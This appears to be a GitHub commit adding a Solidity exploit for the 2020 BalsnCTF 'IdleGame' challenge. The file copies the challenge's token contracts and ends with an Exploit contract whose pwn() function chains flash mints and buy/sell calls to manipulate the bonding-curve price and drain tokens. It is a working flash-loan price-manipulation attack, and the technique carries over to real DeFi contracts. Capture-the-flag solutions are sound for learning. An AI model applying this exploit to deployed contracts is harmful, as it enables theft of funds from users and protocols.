Skip to content

Commit d4e1433

Browse files
Create Exploit.sol
1 parent c057936 commit d4e1433

File tree

1 file changed

+363
-0
lines changed

1 file changed

+363
-0
lines changed

2020/BalsnCTF/IdleGame/Exploit.sol

+363
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,363 @@
1+
pragma solidity =0.5.17;
2+
3+
library SafeMath {
4+
function add(uint a, uint b) internal pure returns (uint) {
5+
uint c = a + b;
6+
require(c >= a, "SafeMath: addition overflow");
7+
return c;
8+
}
9+
10+
function sub(uint a, uint b) internal pure returns (uint) {
11+
return sub(a, b, "SafeMath: subtraction overflow");
12+
}
13+
14+
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
15+
require(b <= a, errorMessage);
16+
uint c = a - b;
17+
return c;
18+
}
19+
20+
function mul(uint a, uint b) internal pure returns (uint) {
21+
if (a == 0) {
22+
return 0;
23+
}
24+
uint c = a * b;
25+
require(c / a == b, "SafeMath: multiplication overflow");
26+
return c;
27+
}
28+
29+
function div(uint a, uint b) internal pure returns (uint) {
30+
return div(a, b, "SafeMath: division by zero");
31+
}
32+
33+
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
34+
require(b > 0, errorMessage);
35+
uint c = a / b;
36+
return c;
37+
}
38+
}
39+
40+
/**
41+
* @dev Interface of the ERC20 standard as defined in the EIP.
42+
* Modified from the original
43+
* https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol
44+
*/
45+
interface IERC20 {
46+
function totalSupply() external view returns (uint);
47+
function balanceOf(address account) external view returns (uint);
48+
function transfer(address recipient, uint amount) external returns (bool);
49+
function allowance(address owner, address spender) external view returns (uint);
50+
function approve(address spender, uint amount) external returns (bool);
51+
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
52+
event Transfer(address indexed from, address indexed to, uint value);
53+
event Approval(address indexed owner, address indexed spender, uint value);
54+
}
55+
56+
/**
57+
* @dev Implementation of the IERC20 interface.
58+
* Modified from the original
59+
* https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol
60+
*/
61+
contract ERC20 is IERC20 {
62+
using SafeMath for uint;
63+
64+
string private _name;
65+
string private _symbol;
66+
uint8 private _decimals;
67+
uint private _totalSupply;
68+
mapping (address => uint) private _balances;
69+
mapping (address => mapping (address => uint)) private _allowances;
70+
71+
constructor (string memory name, string memory symbol) public {
72+
_name = name;
73+
_symbol = symbol;
74+
_decimals = 18;
75+
}
76+
77+
function name() public view returns (string memory) {
78+
return _name;
79+
}
80+
81+
function symbol() public view returns (string memory) {
82+
return _symbol;
83+
}
84+
85+
function decimals() public view returns (uint8) {
86+
return _decimals;
87+
}
88+
89+
function totalSupply() public view returns (uint) {
90+
return _totalSupply;
91+
}
92+
93+
function balanceOf(address account) public view returns (uint) {
94+
return _balances[account];
95+
}
96+
97+
function transfer(address recipient, uint amount) public returns (bool) {
98+
_transfer(msg.sender, recipient, amount);
99+
return true;
100+
}
101+
102+
function allowance(address owner, address spender) public view returns (uint) {
103+
return _allowances[owner][spender];
104+
}
105+
106+
function approve(address spender, uint amount) public returns (bool) {
107+
_approve(msg.sender, spender, amount);
108+
return true;
109+
}
110+
111+
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
112+
_transfer(sender, recipient, amount);
113+
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
114+
return true;
115+
}
116+
117+
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
118+
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
119+
return true;
120+
}
121+
122+
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
123+
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
124+
return true;
125+
}
126+
127+
function _transfer(address sender, address recipient, uint amount) internal {
128+
require(sender != address(0), "ERC20: transfer from the zero address");
129+
require(recipient != address(0), "ERC20: transfer to the zero address");
130+
131+
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
132+
_balances[recipient] = _balances[recipient].add(amount);
133+
emit Transfer(sender, recipient, amount);
134+
}
135+
136+
function _mint(address account, uint amount) internal {
137+
require(account != address(0), "ERC20: mint to the zero address");
138+
139+
_totalSupply = _totalSupply.add(amount);
140+
_balances[account] = _balances[account].add(amount);
141+
emit Transfer(address(0), account, amount);
142+
}
143+
144+
function _burn(address account, uint amount) internal {
145+
require(account != address(0), "ERC20: burn from the zero address");
146+
147+
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
148+
_totalSupply = _totalSupply.sub(amount);
149+
emit Transfer(account, address(0), amount);
150+
}
151+
152+
function _approve(address owner, address spender, uint amount) internal {
153+
require(owner != address(0), "ERC20: approve from the zero address");
154+
require(spender != address(0), "ERC20: approve to the zero address");
155+
156+
_allowances[owner][spender] = amount;
157+
emit Approval(owner, spender, amount);
158+
}
159+
}
160+
161+
/**
162+
* @dev Modified from the original
163+
* https://github.com/Austin-Williams/flash-mintable-tokens/blob/master/FlashERC20/FlashERC20.sol
164+
*/
165+
166+
// This is used for Flash Minting
167+
interface IBorrower {
168+
function executeOnFlashMint(uint amount) external;
169+
}
170+
171+
contract FlashERC20 is ERC20 {
172+
event FlashMint(address to, uint amount);
173+
174+
function flashMint(uint amount) external {
175+
_mint(msg.sender, amount);
176+
IBorrower(msg.sender).executeOnFlashMint(amount);
177+
_burn(msg.sender, amount);
178+
emit FlashMint(msg.sender, amount);
179+
}
180+
}
181+
182+
183+
184+
185+
/**
186+
* @dev Modified from the original
187+
* https://github.com/yosriady/continuous-token/blob/master/contracts/token/ContinuousToken.sol
188+
*/
189+
interface BancorBondingCurve {
190+
function calculatePurchaseReturn(uint _supply, uint _reserveBalance, uint32 _reserveRatio, uint _depositAmount) external view returns (uint);
191+
function calculateSaleReturn(uint _supply, uint _reserveBalance, uint32 _reserveRatio, uint _sellAmount) external view returns (uint);
192+
}
193+
194+
contract ContinuousToken is ERC20 {
195+
using SafeMath for uint;
196+
// Bancor Bonding Curve itself is safe, I diff'ed it already
197+
BancorBondingCurve public constant BBC = BancorBondingCurve(0xF88212805fE6e37181DE56440CF350817FF87130);
198+
uint public scale = 10 ** 18;
199+
uint public reserveBalance = 10 ** 15;
200+
uint32 public reserveRatio;
201+
202+
event ContinuousMint(address sender, uint amount, uint deposit);
203+
event ContinuousBurn(address sender, uint amount, uint reimbursement);
204+
205+
// We cannot buy nor sell ContinousToken unlike Eminence Contract
206+
constructor(uint32 _reserveRatio) public {
207+
reserveRatio = _reserveRatio; // 999000
208+
}
209+
210+
function calculateContinuousMintReturn(uint _amount) public view returns (uint mintAmount) {
211+
return BBC.calculatePurchaseReturn(totalSupply(), reserveBalance, reserveRatio, _amount);
212+
}
213+
214+
function calculateContinuousBurnReturn(uint _amount) public view returns (uint burnAmount) {
215+
return BBC.calculateSaleReturn(totalSupply(), reserveBalance, reserveRatio, _amount);
216+
}
217+
218+
function _continuousMint(uint _deposit) internal returns (uint) {
219+
require(_deposit > 0, "ContinuousToken: Deposit must be non-zero.");
220+
uint amount = calculateContinuousMintReturn(_deposit);
221+
reserveBalance = reserveBalance.add(_deposit);
222+
emit ContinuousMint(msg.sender, amount, _deposit);
223+
return amount;
224+
}
225+
226+
function _continuousBurn(uint _amount) internal returns (uint) {
227+
require(_amount > 0, "ContinuousToken: Amount must be non-zero.");
228+
uint reimburseAmount = calculateContinuousBurnReturn(_amount);
229+
reserveBalance = reserveBalance.sub(reimburseAmount);
230+
emit ContinuousBurn(msg.sender, _amount, reimburseAmount);
231+
return reimburseAmount;
232+
}
233+
}
234+
235+
236+
contract BalsnToken is ERC20 {
237+
uint randomNumber = 0;
238+
address public owner;
239+
240+
constructor(uint initialValue) public ERC20("BalsnToken", "BSN") {
241+
owner = msg.sender;
242+
_mint(msg.sender, initialValue);
243+
}
244+
245+
function giveMeMoney() public { // It can provide us 1 BSN
246+
require(balanceOf(msg.sender) == 0, "BalsnToken: you're too greedy");
247+
_mint(msg.sender, 1);
248+
}
249+
}
250+
251+
contract IdleGame is FlashERC20, ContinuousToken {
252+
uint randomNumber = 0;
253+
address public owner;
254+
BalsnToken public BSN;
255+
mapping(address => uint) public startTime;
256+
mapping(address => uint) public level;
257+
258+
constructor (address BSNAddr, uint32 reserveRatio) public ContinuousToken(reserveRatio) ERC20("IdleGame", "IDL") {
259+
owner = msg.sender; // Deployer is the owner of the token
260+
BSN = BalsnToken(BSNAddr); // IDL is dependent on BSN
261+
_mint(msg.sender, 0x9453 * scale); // 37971 IDL Tokens
262+
}
263+
264+
function getReward() public returns (uint) {
265+
uint points = block.timestamp.sub(startTime[msg.sender]); // points will be same as timestamp
266+
points = points.add(level[msg.sender]).mul(points); //
267+
_mint(msg.sender, points);
268+
startTime[msg.sender] = block.timestamp;
269+
return points;
270+
}
271+
272+
function levelUp() public {
273+
_burn(msg.sender, level[msg.sender]);
274+
level[msg.sender] = level[msg.sender].add(1);
275+
}
276+
277+
// First function called by setup
278+
279+
function buyGamePoints(uint amount) public returns (uint) {
280+
uint bought = _continuousMint(amount); // How much IDL will I get from BSN
281+
BSN.transferFrom(msg.sender, address(this), amount); // BSN coins can be converted to IDL
282+
_mint(msg.sender, bought); // You will get IDL
283+
return bought;
284+
}
285+
286+
function sellGamePoints(uint amount) public returns (uint) { // Accepts Amount in IDL
287+
uint bought = _continuousBurn(amount);
288+
_burn(msg.sender, amount);
289+
BSN.transfer(msg.sender, bought);
290+
return bought;
291+
}
292+
293+
function giveMeFlag() public {
294+
_burn(msg.sender, (10 ** 8) * scale);
295+
Setup(owner).giveMeFlag();
296+
}
297+
}
298+
299+
contract Setup {
300+
uint randomNumber = 0;
301+
bool public sendFlag = false; // No flag for us while deploying
302+
BalsnToken public BSN;
303+
IdleGame public IDL;
304+
305+
constructor() public {
306+
uint initialValue = 15000000 * (10 ** 18); // 15,000,000 BSN
307+
BSN = new BalsnToken(initialValue);
308+
IDL = new IdleGame(address(BSN), 999000); // ReserveRatio is 999000
309+
BSN.approve(address(IDL), uint(-1)); // BSN can be used to mint IDL tokens
310+
//uint(-1) is infinity allowance
311+
IDL.buyGamePoints(initialValue);
312+
}
313+
314+
function giveMeFlag() public {
315+
require(msg.sender == address(IDL), "Setup: sender incorrect");
316+
sendFlag = true;
317+
}
318+
}
319+
320+
contract Exploit {
321+
322+
address IDLAddress = 0xAAAAA; // Enter IDL of your deployed contract
323+
address BSNAddress = 0xBBBBB; // Enter BSN of your deployed contract
324+
uint public count;
325+
uint myidl;
326+
uint boo;
327+
328+
IdleGame idl = IdleGame(address(IDLAddress));
329+
BalsnToken bsn = BalsnToken(address(BSNAddress));
330+
331+
function pwn() public {
332+
bsn.approve(IDLAddress, uint(-1));
333+
bsn.giveMeMoney();
334+
335+
idl.flashMint(99056419041694676677800000000000000002);
336+
boo = idl.sellGamePoints(myidl);
337+
idl.flashMint(99056419041694676677800000000000000002);
338+
boo = idl.sellGamePoints(myidl);
339+
idl.flashMint(99056419041694676677800000000000000002);
340+
boo = idl.sellGamePoints(myidl);
341+
idl.flashMint(99056419041694676677800000000000000002);
342+
idl.giveMeFlag();
343+
344+
}
345+
346+
function executeOnFlashMint(uint amount) external {
347+
if (count == 0){
348+
myidl = idl.buyGamePoints(1); // or 10^-18 like 0.000000000000000001
349+
count = count+1;
350+
}else if (count == 1){
351+
myidl = idl.buyGamePoints(boo);
352+
count = count+1;
353+
}else if (count ==2){
354+
myidl = idl.buyGamePoints(boo);
355+
count = count+1;
356+
}else if (count ==3){
357+
myidl = idl.buyGamePoints(boo);
358+
count = count+1;
359+
}
360+
}
361+
362+
363+
}

0 commit comments

Comments
 (0)